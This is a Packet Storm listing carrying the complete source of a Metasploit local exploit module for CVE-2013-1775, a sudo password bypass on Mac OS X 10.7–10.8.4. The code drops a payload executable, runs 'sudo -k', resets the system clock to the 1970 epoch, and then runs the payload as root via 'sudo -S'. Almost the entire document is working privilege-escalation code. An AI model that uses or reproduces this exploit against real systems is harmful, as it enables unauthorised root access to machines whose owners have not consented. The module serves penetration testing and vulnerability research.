Mac OS X Sudo Password Bypass

2013-08-26T00:00:00
ID PACKETSTORM:122965
Type packetstorm
Reporter Todd C. Miller
Modified 2013-08-26T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
#  
# http://metasploit.com/  
##  
require 'shellwords'  
  
class Metasploit3 < Msf::Exploit::Local  
  
# ManualRanking because it's going to modify system time  
# Even when it will try to restore things, user should use  
# it at his own risk  
Rank = NormalRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"  
SUDOER_GROUP = "admin"  
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]  
  
# saved clock config  
attr_accessor :time, :date, :networked, :zone, :network_server  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X Sudo Password Bypass',  
'Description' => %q{  
This module gains a session with root permissions on versions of OS X with  
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,  
and possibly lower versions.  
  
If your session belongs to a user with Administrative Privileges  
(the user is in the sudoers file and is in the "admin group"), and the  
user has ever run the "sudo" command, it is possible to become the super  
user by running `sudo -k` and then resetting the system clock to 01-01-1970.  
  
This module will fail silently if the user is not an admin or if the user has never  
run the sudo command.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Todd C. Miller', # Vulnerability discovery  
'joev <jvennix[at]rapid7.com>', # Metasploit module  
'juan vazquez' # testing/fixing module bugs  
],  
'References' =>  
[  
[ 'CVE', '2013-1775' ],  
[ 'OSVDB', '90677' ],  
[ 'BID', '58203' ],  
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]  
],  
'Platform' => 'osx',  
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86  
}  
],  
[ 'Mac OS X x64 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64  
}  
],  
[ 'CMD',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 28 2013'  
))  
register_advanced_options([  
OptString.new('TMP_FILE',  
[true,'For the native targets, specifies the path that '+  
'the executable will be dropped on the client machine.',  
'/tmp/.<random>/<random>']  
),  
], self.class)  
end  
  
# ensure target is vulnerable by checking sudo vn and checking  
# user is in admin group.  
def check  
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/  
sudo_vn = $1  
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)  
# check vn between 1.6.0 through 1.7.10p6  
# and 1.8.0 through 1.8.6p6  
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)  
print_error "sudo version #{sudo_vn} not vulnerable."  
return Exploit::CheckCode::Safe  
end  
else  
print_error "sudo not detected on the system."  
return Exploit::CheckCode::Safe  
end  
  
if not user_in_admin_group?  
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."  
Exploit::CheckCode::Safe  
end  
# one root for you sir  
Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
if not user_in_admin_group?  
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")  
end  
# "remember" the current system time/date/network/zone  
print_good("User is an admin, continuing...")  
  
# drop the payload (unless CMD)  
if using_native_target?  
cmd_exec("mkdir -p #{File.dirname(drop_path)}")  
write_file(drop_path, generate_payload_exe)  
register_files_for_cleanup(drop_path)  
cmd_exec("chmod +x #{[drop_path].shelljoin}")  
print_status("Payload dropped and registered for cleanup")  
end  
  
print_status("Saving system clock config...")  
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]  
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]  
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)  
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]  
@network_server = if @networked  
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]  
end  
  
run_sudo_cmd  
end  
  
def cleanup  
print_status("Resetting system clock to original values") if @time  
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?  
  
if @networked  
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")  
unless @network_server.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")  
end  
end  
  
print_good("Completed clock reset.") if @time  
end  
  
private  
  
def run_sudo_cmd  
print_status("Resetting user's time stamp file and setting clock to the epoch")  
cmd_exec(  
"sudo -k; \n"+  
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+  
" -setdate 01:01:1970 -settime 00:00"  
)  
  
# Run Test  
test = rand_text_alpha(4 + rand(4))  
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')  
  
print_status("Testing that user has sudoed before...")  
output = cmd_exec('echo "" | ' + sudo_cmd_test)  
  
if output =~ /incorrect password attempts\s*$/i  
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")  
elsif output =~ /#{test}/  
print_good("Test executed succesfully. Running payload.")  
else  
print_error("Unknown fail while testing, trying to execute the payload anyway...")  
end  
  
# Run Payload  
sudo_cmd_raw = if using_native_target?  
['sudo', '-S', [drop_path].shelljoin].join(' ')  
elsif using_cmd_target?  
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')  
end  
  
## to prevent the password prompt from destroying session  
## backgrounding the sudo payload in order to keep both sessions usable  
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'  
  
print_status "Running command: "  
print_line sudo_cmd  
output = cmd_exec(sudo_cmd)  
  
end  
  
# helper methods for accessing datastore  
def using_native_target?; target.name =~ /native/i; end  
def using_cmd_target?; target.name =~ /cmd/i; end  
def drop_path  
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }  
end  
  
# checks that the user is in OSX's admin group, necessary to change sys clock  
def user_in_admin_group?  
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)  
end  
  
# helper methods for dealing with sudo's vn num  
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end  
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])  
vn_parts = parse_vn(vn)  
ranges.any? do |range|  
min_parts = parse_vn(range[0])  
max_parts = parse_vn(range[1])  
vn_parts.all? do |part|  
min = min_parts.shift  
max = max_parts.shift  
(min.nil? or (not part.nil? and part >= min)) and  
(part.nil? or (not max.nil? and part <= max))  
end  
end  
end  
  
end  
`